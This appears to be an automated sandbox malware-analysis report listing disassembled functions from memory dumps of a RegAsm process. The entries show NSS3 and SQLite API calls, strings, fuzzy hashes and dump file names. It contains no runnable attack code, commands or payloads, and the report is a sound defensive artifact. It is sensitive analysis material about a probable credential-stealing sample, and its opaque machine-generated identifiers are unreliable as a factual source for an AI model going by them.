Function 6C1B4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C300148,?,6C1C6FEC), ref: 6C1B502A
PR_NewLock.NSS3(00000001,00000000,6C300148,?,6C1C6FEC), ref: 6C1B5034
PL_NewHashTable.NSS3(00000000,6C20FE80,6C20FD30,6C25C350,00000000,00000000,00000001,00000000,6C300148,?,6C1C6FEC), ref: 6C1B5055
PL_NewHashTable.NSS3(00000000,6C20FE80,6C20FD30,6C25C350,00000000,00000000,?,00000001,00000000,6C300148,?,6C1C6FEC), ref: 6C1B506D

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 151982f14c7a92e161a6b602e5c35bf69110b5409c2294524ab31b6615b7561c
Instruction ID: daea39fb0b17f20025933445bdcc6658624ade7b483c1d316d807be8b799a762
Opcode Fuzzy Hash: 151982f14c7a92e161a6b602e5c35bf69110b5409c2294524ab31b6615b7561c
Instruction Fuzzy Hash: 5D316FB1B012109FEB10DB66CA4EB473ABCEB27768F154125EA05A7A40E376D448CFE5

Function 6C152E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C152F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C152FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C153005
memcpy.VCRUNTIME140(?,?,?), ref: 6C1530EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C153131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C153178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C153022, 6C153156, 6C153162, 6C15318A, 6C153196, 6C1531A2, 6C1531AE, 6C1531BA, 6C1531C6
%s at line %d of [%.10s], xrefs: 6C153171
database corruption, xrefs: 6C15316C

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: b3925f0c5ba2d5655c03de6b83f27b6d5118f3de8e6f307b73127bf22cf9394e
Instruction ID: 50e87e92eaee00da975217125805f09c068fb9373c2beff44e0c5e7b22eb4227
Opcode Fuzzy Hash: b3925f0c5ba2d5655c03de6b83f27b6d5118f3de8e6f307b73127bf22cf9394e
Instruction Fuzzy Hash: 74B1D2B0E052199BCB08CF9DC8C4AEEF7B1BF49304F94406AE825B7B41D3759852CBA0

Function 6C1A2D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C1A2D69

Strings

winUnmapfile1, xrefs: 6C1A2F55
,l, xrefs: 6C1A2DD0
P,l, xrefs: 6C1A2E74, 6C1A2EC5, 6C1A2F32, 6C1A2F5C
winSeekFile, xrefs: 6C1A2E9C
winUnmapfile2, xrefs: 6C1A2F7F
winTruncate1, xrefs: 6C1A2EBE
@,l, xrefs: 6C1A2E24
winTruncate2, xrefs: 6C1A2EF8

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: __allrem
String ID: @,l$P,l$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$,l
API String ID: 2933888876-2868315259
Opcode ID: 5af061cd0078f6fb4408b5ac58818c4a26925719a2ce9ba5ff23aa9eff0ab36d
Instruction ID: 921c43fef611ef2e91c9432dedfc450e261f51522b0347b669ede8a3c7b2d7b1
Opcode Fuzzy Hash: 5af061cd0078f6fb4408b5ac58818c4a26925719a2ce9ba5ff23aa9eff0ab36d
Instruction Fuzzy Hash: 4761A075B013089FDB04CFA9DC84AAAB7B5FF49354F10812DE9199BB80DB35AC06CB90

Function 0040DB7F Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,750A5460,?,00000000), ref: 0040DBBB
strchr.MSVCRT ref: 0040DBCD
strchr.MSVCRT ref: 0040DBF2
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
strcpy_s.MSVCRT ref: 0040DC6F

Strings

`Tu, xrefs: 0040DBAA
0123456789ABCDEF, xrefs: 0040DB99

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF$`Tu
API String ID: 453150750-1497512213
Opcode ID: 1daa6df51acd787baac340b084811957cc12664872ac1c286401c8a8e8d90d4d
Instruction ID: 6757f0a10c7d4012b5adc36d093af920143e9be3a32f83459c34564e35515def
Opcode Fuzzy Hash: 1daa6df51acd787baac340b084811957cc12664872ac1c286401c8a8e8d90d4d
Instruction Fuzzy Hash: 6C315D72D002199FDB00DFE8DC49ADEBBB9AF09355F100179E901FB281DB79A909CB94

Function 6C1B0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C1B0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C1B0F84

Part of subcall function 6C20B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C2E18D0,?), ref: 6C20B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C1CF59B,6C2D890C,?), ref: 6C1B0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C1B0FC1

Part of subcall function 6C210BE0: malloc.MOZGLUE(6C208D2D,?,00000000,?), ref: 6C210BF8
Part of subcall function 6C210BE0: TlsGetValue.KERNEL32(6C208D2D,?,00000000,?), ref: 6C210C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C1B0FDB
PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C1B0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C1B1001
PL_FinishArenaPool.NSS3(?), ref: 6C1B1009

Strings

security, xrefs: 6C1B0F5C

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: d5d6f3662e5b7b2ad21acffe32019734808aaf05483b4bc202533091b6295057
Instruction ID: 2c43538e0b6848c0e5ac665d26ea00742f4f8a6a83b3645fbfc6b555131d563a
Opcode Fuzzy Hash: d5d6f3662e5b7b2ad21acffe32019734808aaf05483b4bc202533091b6295057
Instruction Fuzzy Hash: ED2136B1A04208ABE7109F24DC81AAFB7B8EF5465CF108519FC1896B01FB31D915CBE2

Function 6C1B6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C1B7D8F,6C1B7D8F,?,?), ref: 6C1B6DC8

Part of subcall function 6C20FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C20FE08
Part of subcall function 6C20FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C20FE1D
Part of subcall function 6C20FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C20FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C1B7D8F,?,?), ref: 6C1B6DD5

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C2D8FA0,00000000,?,?,?,?,6C1B7D8F,?,?), ref: 6C1B6DF7

Part of subcall function 6C20B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C2E18D0,?), ref: 6C20B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C1B6E35

Part of subcall function 6C20FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C20FE29
Part of subcall function 6C20FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C20FE3D
Part of subcall function 6C20FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C20FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C1B6E4C

Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C2D8FE0,00000000), ref: 6C1B6E82

Part of subcall function 6C1B6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C1BB21D,00000000,00000000,6C1BB219,?,6C1B6BFB,00000000,?,00000000,00000000,?,?,?,6C1BB21D), ref: 6C1B6B01
Part of subcall function 6C1B6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C1B6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C1B6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C1B6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C2D8FE0,00000000), ref: 6C1B6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C1B7D8F,?,?), ref: 6C1B6FE1

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 9fa5f393819a26307c8cf8864681886ca5a1ade2a741018510b84ece3600ceb2
Instruction ID: 1230a817c4ccd5e6348643604da235ed0f92d04fc503df52244123c5afd32ea5
Opcode Fuzzy Hash: 9fa5f393819a26307c8cf8864681886ca5a1ade2a741018510b84ece3600ceb2
Instruction Fuzzy Hash: 0C717F71E1024A9FEB04CF15CD50BAA77A4BF65348F16426AEC08E7B11F770E994CB90

Function 6C1F0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1F1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1F1085
PK11_GetAllTokens.NSS3 ref: 6C1F10B1
free.MOZGLUE(?), ref: 6C1F1107
PR_SetError.NSS3(00000000,00000000), ref: 6C1F1172
free.MOZGLUE(?), ref: 6C1F1182
free.MOZGLUE(?), ref: 6C1F11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C1F11C5

Part of subcall function 6C1F52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C1CEAC5,00000001), ref: 6C1F52DF
Part of subcall function 6C1F52C0: EnterCriticalSection.KERNEL32(?), ref: 6C1F52F3
Part of subcall function 6C1F52C0: PR_Unlock.NSS3(?), ref: 6C1F5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C1F11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C1F11F3

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: bef1261d0aa6de4852f9ae0c7e6b871769591bebfc207250d95b94b5e527e2b3
Instruction ID: 98d371040fc6e30e0aeb3bc3f1361b3a77e16405323dc29f270eae8f1c3294cd
Opcode Fuzzy Hash: bef1261d0aa6de4852f9ae0c7e6b871769591bebfc207250d95b94b5e527e2b3
Instruction Fuzzy Hash: D161C2F0E043059BEB00DF64D885B9AB7F5BF19348F244128EC29AB741E731E956CBA1

Function 6C1FADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAE10
EnterCriticalSection.KERNEL32(?,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C1DD079,00000000,00000001), ref: 6C1FAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAE7F
TlsGetValue.KERNEL32(?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAEF1
free.MOZGLUE(6C1DCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C1DCDBB,?), ref: 6C1FAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAF30

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 9fa23ee7b1edb639dbd2378b8b019058a0306f2b6570c7522cd6306219257da1
Instruction ID: 4357749c93473418c751272eaa675316a0cc97f4ee8635c844b498b80e243104
Opcode Fuzzy Hash: 9fa23ee7b1edb639dbd2378b8b019058a0306f2b6570c7522cd6306219257da1
Instruction Fuzzy Hash: EE519EB5A00601AFDB00DF25D885B5AB7F4FF14318F144265DC289BE12E735E8A5CBE1

Function 6C1D4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C1DAB7F,?,00000000,?), ref: 6C1D4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C1DAB7F,?,00000000,?), ref: 6C1D4CC8
TlsGetValue.KERNEL32(?,6C1DAB7F,?,00000000,?), ref: 6C1D4CE0
EnterCriticalSection.KERNEL32(?,?,6C1DAB7F,?,00000000,?), ref: 6C1D4CF4
PL_HashTableLookup.NSS3(?,?,?,6C1DAB7F,?,00000000,?), ref: 6C1D4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C1D4D10

Part of subcall function 6C25DD70: TlsGetValue.KERNEL32 ref: 6C25DD8C
Part of subcall function 6C25DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C25DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C1D4D26

Part of subcall function 6C279DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C2C0A27), ref: 6C279DC6
Part of subcall function 6C279DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C2C0A27), ref: 6C279DD1
Part of subcall function 6C279DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C279DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C1D4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C1D4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C1D4E02

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 69ba5bd384e0409b1d98544302b7c8adf6c498d6a62ca2ecb53ca13faea552ba
Instruction ID: 7658ca774250d0863709ca6c6e9eca719639d0a1467a71c3dabaced5fd7c60e3
Opcode Fuzzy Hash: 69ba5bd384e0409b1d98544302b7c8adf6c498d6a62ca2ecb53ca13faea552ba
Instruction Fuzzy Hash: BD4199B6A006059FEB019F68EC44B6B77B8EF2525CF064171EC0987B11EB35E964C7E2

Function 6C1B2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C1B2CDA,?,00000000), ref: 6C1B2E1E

Part of subcall function 6C20FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C1B9003,?), ref: 6C20FD91
Part of subcall function 6C20FD80: PORT_Alloc_Util.NSS3(A4686C21,?), ref: 6C20FDA2
Part of subcall function 6C20FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C21,?,?), ref: 6C20FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C1B2E33

Part of subcall function 6C20FD80: free.MOZGLUE(00000000,?,?), ref: 6C20FDD1

TlsGetValue.KERNEL32 ref: 6C1B2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C1B2E5E
PL_HashTableLookup.NSS3(?), ref: 6C1B2E71
PL_HashTableRemove.NSS3(?), ref: 6C1B2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C1B2E96
PR_Unlock.NSS3 ref: 6C1B2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C1B2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C1B2EC5

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: d83ec2da0be09ffd522681bc72a19d74cbbeef8f1f7a09bc394b9b7f87e09d01
Instruction ID: 73954575a890bd7703c7e8edb85e591c6d7ae520d213ddc760840da0e18f956b
Opcode Fuzzy Hash: d83ec2da0be09ffd522681bc72a19d74cbbeef8f1f7a09bc394b9b7f87e09d01
Instruction Fuzzy Hash: C0210776A00104AFEF015B69EC0AADB3A78DB5234DF050131FD1896B11F733C56DC6A1

Function 6C13CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C13B999), ref: 6C13CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C13B999), ref: 6C13D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C13B999), ref: 6C13D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C13B999), ref: 6C28972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C13CFDD, 6C13D00E, 6C13D022, 6C13D033, 6C289780
%s at line %d of [%.10s], xrefs: 6C13CFEC, 6C13D018, 6C13D029, 6C13D03F, 6C28978B
database corruption, xrefs: 6C13CFE7, 6C13D013, 6C13D028, 6C13D039, 6C13D03E, 6C289786

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
